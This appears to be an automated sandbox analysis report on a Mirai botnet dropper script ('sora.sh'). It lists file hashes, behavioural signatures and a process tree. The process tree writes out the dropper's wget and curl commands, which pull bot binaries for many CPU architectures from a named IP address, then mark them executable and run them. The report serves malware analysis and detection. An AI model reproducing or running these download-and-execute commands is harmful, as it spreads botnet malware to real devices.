Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    29-08-2024 20:19

General

  • Target

    sora.sh

  • Size

    1KB

  • MD5

    4bad6b7a8f3a112f1e8a64415b2c5e57

  • SHA1

    80386ebec3b511cd2a07da88e300a62590b8d889

  • SHA256

    4483a53f61944b8183d1941626bb43ff3a0f8196930441fe4c791a76cd87fb77

  • SHA512

    da9c99687356c636a26e11083032cee8d31f7105e64ade4d20f54e3ba22085ed9a5749674684622dce428287410b404b84d546a91e050afadf0b7b7485647aed

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Contacts a large (198741) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Executes dropped EXE 10 IoCs
  • Modifies Watchdog functionality 1 TTPs 20 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 20 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/sora.sh
    /tmp/sora.sh
    1⤵
    • Writes file to tmp directory
    PID:1504
    • /usr/bin/wget
      wget http://154.216.17.67/bins/sora.x86
      2⤵
      • Writes file to tmp directory
      PID:1505
    • /usr/bin/curl
      curl -O http://154.216.17.67/bins/sora.x86
      2⤵
      • Writes file to tmp directory
      PID:1510
    • /bin/cat
      cat sora.x86
      2⤵
        PID:1511
      • /bin/chmod
        chmod +x config-err-MsoZIU netplan_6etimwxp robben snap-private-tmp sora.sh sora.x86 ssh-QG10K9MbVSH7 systemd-private-da77271824104e4081ce2dbfbe9918d7-bolt.service-NWe0PJ systemd-private-da77271824104e4081ce2dbfbe9918d7-colord.service-jJgtGR systemd-private-da77271824104e4081ce2dbfbe9918d7-ModemManager.service-hTy2A2 systemd-private-da77271824104e4081ce2dbfbe9918d7-systemd-resolved.service-pQGkqe systemd-private-da77271824104e4081ce2dbfbe9918d7-systemd-timedated.service-HRtjHp
        2⤵
          PID:1512
        • /tmp/robben
          ./robben Payload
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Reads runtime system information
          PID:1513
        • /usr/bin/wget
          wget http://154.216.17.67/bins/sora.mips
          2⤵
          • Writes file to tmp directory
          PID:1517
        • /usr/bin/curl
          curl -O http://154.216.17.67/bins/sora.mips
          2⤵
          • Writes file to tmp directory
          PID:1521
        • /bin/chmod
          chmod +x config-err-MsoZIU netplan_6etimwxp robben snap-private-tmp sora.mips sora.sh sora.x86 ssh-QG10K9MbVSH7 systemd-private-da77271824104e4081ce2dbfbe9918d7-bolt.service-NWe0PJ systemd-private-da77271824104e4081ce2dbfbe9918d7-colord.service-jJgtGR systemd-private-da77271824104e4081ce2dbfbe9918d7-ModemManager.service-hTy2A2 systemd-private-da77271824104e4081ce2dbfbe9918d7-systemd-resolved.service-pQGkqe systemd-private-da77271824104e4081ce2dbfbe9918d7-systemd-timedated.service-HRtjHp
          2⤵
            PID:1523
          • /tmp/robben
            ./robben Payload
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Reads runtime system information
            PID:1524
          • /usr/bin/wget
            wget http://154.216.17.67/bins/sora.mpsl
            2⤵
            • Writes file to tmp directory
            PID:1528
          • /usr/bin/curl
            curl -O http://154.216.17.67/bins/sora.mpsl
            2⤵
            • Writes file to tmp directory
            PID:1532
          • /bin/chmod
            chmod +x config-err-MsoZIU netplan_6etimwxp robben snap-private-tmp sora.mips sora.mpsl sora.sh sora.x86 ssh-QG10K9MbVSH7 systemd-private-da77271824104e4081ce2dbfbe9918d7-bolt.service-NWe0PJ systemd-private-da77271824104e4081ce2dbfbe9918d7-colord.service-jJgtGR systemd-private-da77271824104e4081ce2dbfbe9918d7-ModemManager.service-hTy2A2 systemd-private-da77271824104e4081ce2dbfbe9918d7-systemd-resolved.service-pQGkqe systemd-private-da77271824104e4081ce2dbfbe9918d7-systemd-timedated.service-HRtjHp
            2⤵
              PID:1534
            • /tmp/robben
              ./robben Payload
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Reads runtime system information
              PID:1535
            • /usr/bin/wget
              wget http://154.216.17.67/bins/sora.arm4
              2⤵
                PID:1539
              • /usr/bin/curl
                curl -O http://154.216.17.67/bins/sora.arm4
                2⤵
                • Writes file to tmp directory
                PID:1543
              • /bin/chmod
                chmod +x config-err-MsoZIU netplan_6etimwxp robben snap-private-tmp sora.arm4 sora.mips sora.mpsl sora.sh sora.x86 ssh-QG10K9MbVSH7 systemd-private-da77271824104e4081ce2dbfbe9918d7-bolt.service-NWe0PJ systemd-private-da77271824104e4081ce2dbfbe9918d7-colord.service-jJgtGR systemd-private-da77271824104e4081ce2dbfbe9918d7-ModemManager.service-hTy2A2 systemd-private-da77271824104e4081ce2dbfbe9918d7-systemd-resolved.service-pQGkqe systemd-private-da77271824104e4081ce2dbfbe9918d7-systemd-timedated.service-HRtjHp
                2⤵
                  PID:1545
                • /tmp/robben
                  ./robben Payload
                  2⤵
                  • Executes dropped EXE
                  • Modifies Watchdog functionality
                  • Reads runtime system information
                  PID:1546
                • /usr/bin/wget
                  wget http://154.216.17.67/bins/sora.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:1550
                • /usr/bin/curl
                  curl -O http://154.216.17.67/bins/sora.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:1554
                • /bin/chmod
                  chmod +x config-err-MsoZIU netplan_6etimwxp robben snap-private-tmp sora.arm4 sora.arm5 sora.mips sora.mpsl sora.sh sora.x86 ssh-QG10K9MbVSH7 systemd-private-da77271824104e4081ce2dbfbe9918d7-bolt.service-NWe0PJ systemd-private-da77271824104e4081ce2dbfbe9918d7-colord.service-jJgtGR systemd-private-da77271824104e4081ce2dbfbe9918d7-ModemManager.service-hTy2A2 systemd-private-da77271824104e4081ce2dbfbe9918d7-systemd-resolved.service-pQGkqe systemd-private-da77271824104e4081ce2dbfbe9918d7-systemd-timedated.service-HRtjHp
                  2⤵
                    PID:1556
                  • /tmp/robben
                    ./robben Payload
                    2⤵
                    • Executes dropped EXE
                    • Modifies Watchdog functionality
                    • Reads runtime system information
                    PID:1557
                  • /usr/bin/wget
                    wget http://154.216.17.67/bins/sora.arm6
                    2⤵
                    • Writes file to tmp directory
                    PID:1561
                  • /usr/bin/curl
                    curl -O http://154.216.17.67/bins/sora.arm6
                    2⤵
                    • Writes file to tmp directory
                    PID:1565
                  • /bin/chmod
                    chmod +x config-err-MsoZIU netplan_6etimwxp robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.mips sora.mpsl sora.sh sora.x86 ssh-QG10K9MbVSH7 systemd-private-da77271824104e4081ce2dbfbe9918d7-bolt.service-NWe0PJ systemd-private-da77271824104e4081ce2dbfbe9918d7-colord.service-jJgtGR systemd-private-da77271824104e4081ce2dbfbe9918d7-ModemManager.service-hTy2A2 systemd-private-da77271824104e4081ce2dbfbe9918d7-systemd-resolved.service-pQGkqe systemd-private-da77271824104e4081ce2dbfbe9918d7-systemd-timedated.service-HRtjHp
                    2⤵
                      PID:1567
                    • /tmp/robben
                      ./robben Payload
                      2⤵
                      • Executes dropped EXE
                      • Modifies Watchdog functionality
                      • Reads runtime system information
                      PID:1568
                    • /usr/bin/wget
                      wget http://154.216.17.67/bins/sora.arm7
                      2⤵
                      • Writes file to tmp directory
                      PID:1572
                    • /usr/bin/curl
                      curl -O http://154.216.17.67/bins/sora.arm7
                      2⤵
                      • Writes file to tmp directory
                      PID:1576
                    • /bin/chmod
                      chmod +x config-err-MsoZIU netplan_6etimwxp robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.mips sora.mpsl sora.sh sora.x86 ssh-QG10K9MbVSH7 systemd-private-da77271824104e4081ce2dbfbe9918d7-bolt.service-NWe0PJ systemd-private-da77271824104e4081ce2dbfbe9918d7-colord.service-jJgtGR systemd-private-da77271824104e4081ce2dbfbe9918d7-ModemManager.service-hTy2A2 systemd-private-da77271824104e4081ce2dbfbe9918d7-systemd-resolved.service-pQGkqe systemd-private-da77271824104e4081ce2dbfbe9918d7-systemd-timedated.service-HRtjHp
                      2⤵
                        PID:1578
                      • /tmp/robben
                        ./robben Payload
                        2⤵
                        • Executes dropped EXE
                        • Modifies Watchdog functionality
                        • Reads runtime system information
                        PID:1579
                      • /usr/bin/wget
                        wget http://154.216.17.67/bins/sora.ppc
                        2⤵
                        • Writes file to tmp directory
                        PID:1583
                      • /usr/bin/curl
                        curl -O http://154.216.17.67/bins/sora.ppc
                        2⤵
                        • Writes file to tmp directory
                        PID:1587
                      • /bin/chmod
                        chmod +x config-err-MsoZIU netplan_6etimwxp robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.mips sora.mpsl sora.ppc sora.sh sora.x86 ssh-QG10K9MbVSH7 systemd-private-da77271824104e4081ce2dbfbe9918d7-bolt.service-NWe0PJ systemd-private-da77271824104e4081ce2dbfbe9918d7-colord.service-jJgtGR systemd-private-da77271824104e4081ce2dbfbe9918d7-ModemManager.service-hTy2A2 systemd-private-da77271824104e4081ce2dbfbe9918d7-systemd-resolved.service-pQGkqe systemd-private-da77271824104e4081ce2dbfbe9918d7-systemd-timedated.service-HRtjHp
                        2⤵
                          PID:1589
                        • /tmp/robben
                          ./robben Payload
                          2⤵
                          • Executes dropped EXE
                          • Modifies Watchdog functionality
                          • Reads runtime system information
                          PID:1590
                        • /usr/bin/wget
                          wget http://154.216.17.67/bins/sora.m68k
                          2⤵
                          • Writes file to tmp directory
                          PID:1594
                        • /usr/bin/curl
                          curl -O http://154.216.17.67/bins/sora.m68k
                          2⤵
                          • Writes file to tmp directory
                          PID:1598
                        • /bin/chmod
                          chmod +x config-err-MsoZIU netplan_6etimwxp robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.m68k sora.mips sora.mpsl sora.ppc sora.sh sora.x86 ssh-QG10K9MbVSH7 systemd-private-da77271824104e4081ce2dbfbe9918d7-bolt.service-NWe0PJ systemd-private-da77271824104e4081ce2dbfbe9918d7-colord.service-jJgtGR systemd-private-da77271824104e4081ce2dbfbe9918d7-ModemManager.service-hTy2A2 systemd-private-da77271824104e4081ce2dbfbe9918d7-systemd-resolved.service-pQGkqe systemd-private-da77271824104e4081ce2dbfbe9918d7-systemd-timedated.service-HRtjHp
                          2⤵
                            PID:1600
                          • /tmp/robben
                            ./robben Payload
                            2⤵
                            • Executes dropped EXE
                            • Modifies Watchdog functionality
                            • Reads runtime system information
                            PID:1601
                          • /usr/bin/wget
                            wget http://154.216.17.67/bins/sora.sh4
                            2⤵
                            • Writes file to tmp directory
                            PID:1605
                          • /usr/bin/curl
                            curl -O http://154.216.17.67/bins/sora.sh4
                            2⤵
                            • Writes file to tmp directory
                            PID:1609
                          • /bin/chmod
                            chmod +x config-err-MsoZIU netplan_6etimwxp robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.m68k sora.mips sora.mpsl sora.ppc sora.sh sora.sh4 sora.x86 ssh-QG10K9MbVSH7 systemd-private-da77271824104e4081ce2dbfbe9918d7-bolt.service-NWe0PJ systemd-private-da77271824104e4081ce2dbfbe9918d7-colord.service-jJgtGR systemd-private-da77271824104e4081ce2dbfbe9918d7-ModemManager.service-hTy2A2 systemd-private-da77271824104e4081ce2dbfbe9918d7-systemd-resolved.service-pQGkqe systemd-private-da77271824104e4081ce2dbfbe9918d7-systemd-timedated.service-HRtjHp
                            2⤵
                              PID:1611
                            • /tmp/robben
                              ./robben Payload
                              2⤵
                              • Executes dropped EXE
                              • Modifies Watchdog functionality
                              • Reads runtime system information
                              PID:1612

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/robben

                            Filesize

                            30KB

                            MD5

                            bcff8f405bdd93b8488e6f6aca117a32

                            SHA1

                            8b32a1dea70be2c76830e3808f70ad62eb3b1250

                            SHA256

                            67180595f06f283c60b26bffa32965d897f0234e5ab8d9fe5510773b3712f396

                            SHA512

                            5d9e20aeb055eb0c535db9c42d4ccb9f68342b196f9816e1f634147c63dcf4b1dedf5be0b8f7b2ade2676cff752e2418e9b446804fee5a61a24e7a57c845c48a